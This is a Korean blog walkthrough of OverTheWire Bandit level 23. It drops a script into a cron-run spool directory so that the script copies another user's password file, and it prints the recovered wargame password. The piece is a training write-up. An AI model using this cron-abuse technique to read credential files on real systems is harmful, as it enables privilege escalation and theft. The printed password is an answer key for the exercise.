티스토리 뷰

Wargame/OverTheWire

[Bandit] Level 23

do9dark 2016. 2. 2. 22:10

Level Goal

다음 레벨로 넘어가는데 필요한 패스워드는 /etc/cron.d/에서 정보를 획득해서 확인할 수 있다.


$ cd /etc/cron.d/

$ cat cronjob_bandit24

$ cat /usr/bin/cronjob_bandit24.sh


cronjob_bandit24.sh을 보면 /var/spool/bandit24에 있는 스크립트를 실행하고 제거하는 것을 알 수 있고 이를 이용해서 다음 레벨의 패스워드를 획득할 수 있다.

$ mkdir -p /tmp/do9dark/

$ cd /tmp/do9dark/

$ cat > dump.sh

#!/bin/bash

cat /etc/bandit_pass/bandit24 > /tmp/do9dark/bandit_pass

(Ctrl+D)

$ chmod 777 dump.sh

$ chmod 777 /tmp/do9dark/

$ cp dump.sh /var/spool/bandit24/


$ cat bandit_pass


bandit24:UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

'Wargame > OverTheWire' 카테고리의 다른 글

[Bandit] Level 26  (0) 2016.02.02
[Bandit] Level 25  (0) 2016.02.02
[Bandit] Level 24  (0) 2016.02.02
[Bandit] Level 22  (0) 2016.02.02
[Bandit] Level 21  (0) 2016.02.02
[Bandit] Level 20  (0) 2016.02.02
[Bandit] Level 19  (0) 2016.02.02
[Bandit] Level 18  (0) 2016.02.02
[Bandit] Level 17  (0) 2016.02.02
[Bandit] Level 16  (0) 2016.02.02
댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday